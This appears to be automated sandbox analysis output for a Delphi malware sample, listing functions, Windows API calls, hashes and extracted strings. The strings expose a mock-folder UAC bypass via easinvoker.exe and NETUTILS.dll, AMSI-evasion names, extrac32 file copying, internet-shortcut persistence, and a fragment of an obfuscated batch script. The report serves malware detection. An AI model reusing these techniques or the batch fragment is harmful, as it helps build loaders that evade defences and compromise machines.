WinExec.KERNEL32(00000000,02D89524), ref: 02D8436D

Strings

ScanBuffer, xrefs: 02D81CD6, 02D81FEA, 02D82B2A, 02D82CE4, 02D82E82, 02D8319D, 02D83351, 02D83541, 02D8387B, 02D83B94, 02D83F14, 02D842C9, 02D844F2, 02D846F7, 02D8485D, 02D849D1, 02D84A4D
URL=file:", xrefs: 02D84BE3
C:\Windows \System32\easinvoker.exe, xrefs: 02D832DF
O.bat, xrefs: 02D81E95
IconIndex=, xrefs: 02D84C37
er.e, xrefs: 02D81C0F
C:\Windows \System32\aaa.bat, xrefs: 02D83315
.url, xrefs: 02D83C24
C:\Users\Public\alpha.exe, xrefs: 02D83330
C:\Users\Public\, xrefs: 02D83C19, 02D84E7D
[InternetShortcut], xrefs: 02D84BD4
a.bat, xrefs: 02D827E5
ScanString, xrefs: 02D81B48, 02D81C5A, 02D81ECD, 02D821A4, 02D823D1, 02D824EE, 02D8262C, 02D82724, 02D82915, 02D82FA3, 02D833CD, 02D83449, 02D835E3, 02D83928, 02D83CEC, 02D8437E, 02D84B64, 02D84CD9, 02D84D91
Initialize, xrefs: 02D826A8, 02D83707, 02D83A9C, 02D83E98, 02D8405D, 02D84155, 02D843FA, 02D845FF
OpenSession, xrefs: 02D82128, 02D82355, 02D82472, 02D82899, 02D82AAE, 02D82C68, 02D82E06, 02D82F27, 02D830A5, 02D834C5, 02D8365F, 02D837FF, 02D839A4, 02D83B18, 02D83D68, 02D83E1C, 02D840D9, 02D8424D, 02D8467B, 02D84955, 02D84AC9, 02D84C5D, 02D84E0D
UacScan, xrefs: 02D81ACC, 02D81D52, 02D81E14, 02D81F6E, 02D82066, 02D822D9, 02D825B0, 02D8281D, 02D829B6, 02D8301F, 02D83A20, 02D83F90, 02D841D1, 02D84476, 02D84583, 02D847E1, 02D848D9
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 02D8433B
C:\\Users\\Public\\Libraries\\, xrefs: 02D84000
HotKey=, xrefs: 02D84D6B
s.d, xrefs: 02D8227B
UacInitialize, xrefs: 02D82A32, 02D82BEC, 02D82D8A, 02D83121, 02D83783, 02D83C70
C:\Windows \System32\NETUTILS.dll, xrefs: 02D832FA
@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU, xrefs: 02D8298B

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FilePath$NameName_$AddressAttributesCloseCreateDeleteExecHandleInitLibraryLoadModuleProcSleepStringUnicodeWrite
String ID: .url$@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU$C:\Users\Public\$C:\Users\Public\alpha.exe$C:\Windows \System32\NETUTILS.dll$C:\Windows \System32\aaa.bat$C:\Windows \System32\easinvoker.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $HotKey=$IconIndex=$Initialize$O.bat$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]$a.bat$er.e$s.d
API String ID: 102611719-2667577771
Opcode ID: 645c4068d8fc5ae514ef658b8e45e4bb9f6d17645dbd97ea75a5ed068c7d65ef
Instruction ID: 82a2c178949a27a0657139d8ea807b5013532ec91813464b36a204da92ee6fa5
Opcode Fuzzy Hash: 645c4068d8fc5ae514ef658b8e45e4bb9f6d17645dbd97ea75a5ed068c7d65ef
Instruction Fuzzy Hash: 3053F235B5025A8BEB20FB64DC94EED73B6EB85300F5085A6E009E7354DE70AE85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D84EFE Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 941
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

Part of subcall function 02D7D318: RegOpenKeyA.ADVAPI32(?,00000000,02DC5798), ref: 02D7D35C
Part of subcall function 02D7D318: RegSetValueExA.ADVAPI32(00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D394
Part of subcall function 02D7D318: RegCloseKey.ADVAPI32(00000870,00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D39F

WinExec.KERNEL32(00000000,00000000), ref: 02D857F9

Part of subcall function 02D79E70: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 02D79F33

RtlMoveMemory.N(00000000,?,00000000,?,ScanBuffer,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC), ref: 02D85D7B

Strings

ScanString, xrefs: 02D84F0A, 02D853EC, 02D85886, 02D85CED
C:\Windows\System32\, xrefs: 02D857E3
Initialize, xrefs: 02D84F86, 02D85560
OpenSession, xrefs: 02D85002, 02D851FC, 02D85370, 02D854E4, 02D856E9, 02D85902, 02D859A5, 02D85B38, 02D85E08
ScanBuffer, xrefs: 02D850FA, 02D855DC, 02D8566D, 02D85A9D, 02D85C30, 02D85D8C, 02D85F00
UacScan, xrefs: 02D8507E, 02D85278, 02D852F4, 02D85468, 02D8580A, 02D85A21, 02D85BB4, 02D85E84
C:\Users\Public\, xrefs: 02D8516A
UacInitialize, xrefs: 02D85765

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressCloseCompareExecHandleLibraryLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 897696978-872072817
Opcode ID: 070156a43ed0fb63c1ae43880aa9f874e9ebe50adc2f8e6b534214d104ae73dc
Instruction ID: 1297ef599c94d7841e79edd466672fc31f541c3b41011b7a1b5ea23e176da9b8
Opcode Fuzzy Hash: 070156a43ed0fb63c1ae43880aa9f874e9ebe50adc2f8e6b534214d104ae73dc
Instruction Fuzzy Hash: 04921034A402998FDB24EBA4DC94EEDB3B7EB45300F5084E6E149E7354DA70AE85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D61724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02D62000), ref: 02D617D0
Sleep.KERNEL32(0000000A,00000000,?,02D62000), ref: 02D617E6

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8c0a7f7c3ca38aa0c7cfb83081eb06eda664888dcbe859fd6b5682a16126888f
Instruction ID: 6b91ca503e8ff5193dd33cc755d56b4d410187129f7c3e2651ca209729d24153
Opcode Fuzzy Hash: 8c0a7f7c3ca38aa0c7cfb83081eb06eda664888dcbe859fd6b5682a16126888f
Instruction Fuzzy Hash: 47B1C176A012528BC716CF68D4C8365BBE1EB85354F2886BAD85D8B3C5D770DC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D77B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02D77BA5,?,?,00000000,00000000), ref: 02D77B61
GetProcAddress.KERNEL32(00000000,kernel32), ref: 02D77B67
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02D77BA5,?,?,00000000,00000000), ref: 02D77B81

Strings

irtualProtect, xrefs: 02D77B39
kernel32, xrefs: 02D77B5C

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: 04b3f6742616da70cb997af93206fc9e90f63a4c7add2bc569feb1ef0c48088b
Instruction ID: 187da9640340345cfc16698c6d37c01e915063d22758e7759b4b533c0a5b9431
Opcode Fuzzy Hash: 04b3f6742616da70cb997af93206fc9e90f63a4c7add2bc569feb1ef0c48088b
Instruction Fuzzy Hash: 47017C74640248BFE710EFA4EC55E6AB7EDEB48710FA14861F904E3740E674EE008A64

Uniqueness

Uniqueness Score: -1.00%

Function 02D61A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 02D61B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 02D61B31

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0f1619fd48173781fe9ea775b504fb2219e030c07daa49aa2224ae51dd2a5383
Instruction ID: 77760b087c553d19214a3eaaf14d33ba5fc2444ea177d6b481a01417e2c20954
Opcode Fuzzy Hash: 0f1619fd48173781fe9ea775b504fb2219e030c07daa49aa2224ae51dd2a5383
Instruction Fuzzy Hash: B2518B71A052428FE715CF6CC989766BBE0EB46314F2885AED84CCB386E760DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C8AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D7C9EA

Strings

ScanBuffer, xrefs: 02D7C933
OpenSession, xrefs: 02D7C98C
Initialize, xrefs: 02D7C8DA

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 28da0740028b82f600e91f98e8e3ca18b83bfcaeade9b4dc9d7c48ef695d7cc6
Instruction ID: 62391fdca6de0c1469aa3946fdea02e7dadf15822fec31985d38a66103fbffe6
Opcode Fuzzy Hash: 28da0740028b82f600e91f98e8e3ca18b83bfcaeade9b4dc9d7c48ef695d7cc6
Instruction Fuzzy Hash: 52410031B642499FEB20EBA4D855EEEB3F6EF88715F604436E041B7350EA74AD058F60

Uniqueness

Uniqueness Score: -1.00%

Function 02D75BE8 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02D75D30,?,?,02D738BC,00000001), ref: 02D75C44
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02D75D30,?,?,02D738BC,00000001), ref: 02D75C72

Part of subcall function 02D67D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02D738BC,02D75CB2,00000000,02D75D30,?,?,02D738BC), ref: 02D67D66

Part of subcall function 02D67F54: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02D738BC,02D75CCD,00000000,02D75D30,?,?,02D738BC,00000001), ref: 02D67F73

GetLastError.KERNEL32(00000000,02D75D30,?,?,02D738BC,00000001), ref: 02D75CD7

Part of subcall function 02D6A734: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02D6C395,00000000,02D6C3EF), ref: 02D6A753

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 534aaf02d7a7f829e339f4c42c8ff28e697c840a5b24c5b6a3c81630ef6dcd45
Instruction ID: 94cd8299d61e8f0b2ff815289e39b8d9dfd1b99f70b515ffac4d1057c6ac9abc
Opcode Fuzzy Hash: 534aaf02d7a7f829e339f4c42c8ff28e697c840a5b24c5b6a3c81630ef6dcd45
Instruction Fuzzy Hash: BC317330A046489FEB00DFA4D885BADBBB6EF48714F908565D904A7380E7799D05CFB2

Uniqueness

Uniqueness Score: -1.00%

Function 02D7D316 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02DC5798), ref: 02D7D35C
RegSetValueExA.ADVAPI32(00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D394
RegCloseKey.ADVAPI32(00000870,00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D39F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: c248a9a90fde8834302ce0fd7d5a5239432cb3d0b034ab2b0493d5d2ffc3477d
Instruction ID: 576c34ea6207e3daf718e52a752d136d067985c7c7080e0bcea220359c87aefc
Opcode Fuzzy Hash: c248a9a90fde8834302ce0fd7d5a5239432cb3d0b034ab2b0493d5d2ffc3477d
Instruction Fuzzy Hash: E211FB70640205AFEB10EB68D895A6E77EDEB09310F90446AF508E7790EB34ED558F60

Uniqueness

Uniqueness Score: -1.00%

Function 02D7D318 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02DC5798), ref: 02D7D35C
RegSetValueExA.ADVAPI32(00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D394
RegCloseKey.ADVAPI32(00000870,00000870,00000000,00000000,00000001,00000000,0000001C,00000000,02D7D3C7), ref: 02D7D39F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 4ad8e3527b11b7647d20bc26781c9e20f3d790bbd5418f03217be9f59ba4a57b
Instruction ID: e67ec65cc44ed1d8fa7d00347d25e761df44c76fb329f61434e0b252bffa6f26
Opcode Fuzzy Hash: 4ad8e3527b11b7647d20bc26781c9e20f3d790bbd5418f03217be9f59ba4a57b
Instruction Fuzzy Hash: 73110D70640205AFEB10EF68D895A6E77EDEB09310F90446AF508E7790DB34ED558F70

Uniqueness

Uniqueness Score: -1.00%

Function 02D77BE8 Relevance: 4.6, APIs: 3, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

Part of subcall function 02D77B20: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02D77BA5,?,?,00000000,00000000), ref: 02D77B61
Part of subcall function 02D77B20: GetProcAddress.KERNEL32(00000000,kernel32), ref: 02D77B67
Part of subcall function 02D77B20: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02D77BA5,?,?,00000000,00000000), ref: 02D77B81

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryLoadProtectVirtual
String ID:
API String ID: 2543409266-0
Opcode ID: 07fdc532f3642d860c7661d158b66e792f8a637bd0f199954039d0cbbb09b223
Instruction ID: 349921c01880cdf501f7f9cc305e0b9da9ae2bb78c84858530fe5cad5dd690c7
Opcode Fuzzy Hash: 07fdc532f3642d860c7661d158b66e792f8a637bd0f199954039d0cbbb09b223
Instruction Fuzzy Hash: 15019670640245AFF704EBA4EC55A2EB7A9EB48300FE00465A55AF7740EA78FD008FB4

Uniqueness

Uniqueness Score: -1.00%

Function 02D6E320 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02D6E32F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 640e0d541b22457bc2685fc9f274b17a38e7e76509dd6bb5aebb368a5b5931d7
Instruction ID: e9e0a539a38b5cdffc3a54a6acaee885f277c49c6d45ccb3afb6e1159a9f28bc
Opcode Fuzzy Hash: 640e0d541b22457bc2685fc9f274b17a38e7e76509dd6bb5aebb368a5b5931d7
Instruction Fuzzy Hash: 02F0AF287041108BC7106B38C98CEBE2B9AEF51312F585422A4C65B395DB24CC05CA72

Uniqueness

Uniqueness Score: -1.00%

Function 02D64D14 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02D7D42C), ref: 02D64C32
SysAllocStringLen.OLEAUT32(?,?), ref: 02D64D1F
SysFreeString.OLEAUT32(00000000), ref: 02D64D31

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 8281cf0a56594ab61e6c1733d5cfb051ded8f56d9c12036c2c62a925731043c4
Instruction ID: 4244515e7a06aa9be465a565b7349f64582eca0bfd3ddb1755a5d4dea0b3b01e
Opcode Fuzzy Hash: 8281cf0a56594ab61e6c1733d5cfb051ded8f56d9c12036c2c62a925731043c4
Instruction Fuzzy Hash: 0BE012B81052015FEB252F208D4DF3B336AEFD5745F598499A804CA350DB34CC41EE74

Uniqueness

Uniqueness Score: -1.00%

Function 02D77098 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02D77396

Strings

H, xrefs: 02D7714D

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 44c3f3d62747514d565a36d171d49a870abb22e11b986a741dfbe3de2c83a809
Instruction ID: 0b02dd9daf76f5b25bc34d90e8d239829b81f7473cfe039b01b07d016cbc5d22
Opcode Fuzzy Hash: 44c3f3d62747514d565a36d171d49a870abb22e11b986a741dfbe3de2c83a809
Instruction Fuzzy Hash: 5CB1D274A016099FEB10CF98D880AADFBF2FF49314F248969E855AB364E734AC45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02D6E71C Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02D6E73D

Part of subcall function 02D6E320: VariantClear.OLEAUT32(?), ref: 02D6E32F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 0abe89dd3e121fa99964b8ac705524023e772d8533534b3d5ac632af7c600462
Instruction ID: a4eea43e5e7eec6385e2de35f0c4369083395d126dafb5d166e8d9e723ef8b2b
Opcode Fuzzy Hash: 0abe89dd3e121fa99964b8ac705524023e772d8533534b3d5ac632af7c600462
Instruction Fuzzy Hash: C011A1387006509BD720AF28C9CCE7767EAEF85B50B149466E68A8B355DB31DC41CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 02D6E3B8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02D6E3F8

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 77a9d7ce770d052951130d65bf9a5d8ff7a6551586c980461d8c49f416c2e6ee
Instruction ID: 7a59035e67a982cb038bf47d49a9244355afb61e414073752679dfe31e088262
Opcode Fuzzy Hash: 77a9d7ce770d052951130d65bf9a5d8ff7a6551586c980461d8c49f416c2e6ee
Instruction Fuzzy Hash: 9E314D79A04209AFEB10DEA8D88CEBAB7E8EB0C314F444561E905D7B40D334ED50CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02D76D28 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02D76D75,?,?,?,00000000), ref: 02D76D55

Part of subcall function 02D64C24: SysFreeString.OLEAUT32(02D7D42C), ref: 02D64C32

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 248c82937b9cb2a3a8d15c6a8403b566241f5084185eac490e0c78c768fffc84
Instruction ID: 787ca99b99435a081e5b43cdd6caba303a4bbed581dab5881d900e1431f36e3a
Opcode Fuzzy Hash: 248c82937b9cb2a3a8d15c6a8403b566241f5084185eac490e0c78c768fffc84
Instruction Fuzzy Hash: 30E06571614A047FE715EA72DC5596A77EDDB49710F620471A80093700F9759E048DB5

Uniqueness

Uniqueness Score: -1.00%

Function 02D6582C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02D60000,?,00000105), ref: 02D6584A

Part of subcall function 02D65A90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02D60000,02D8B790), ref: 02D65AAC
Part of subcall function 02D65A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02D60000,02D8B790), ref: 02D65ACA
Part of subcall function 02D65A90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02D60000,02D8B790), ref: 02D65AE8
Part of subcall function 02D65A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02D65B06
Part of subcall function 02D65A90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02D65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02D65B4F
Part of subcall function 02D65A90: RegQueryValueExA.ADVAPI32(?,02D65CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02D65B95,?,80000001), ref: 02D65B6D
Part of subcall function 02D65A90: RegCloseKey.ADVAPI32(?,02D65B9C,00000000,?,?,00000000,02D65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02D65B8F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

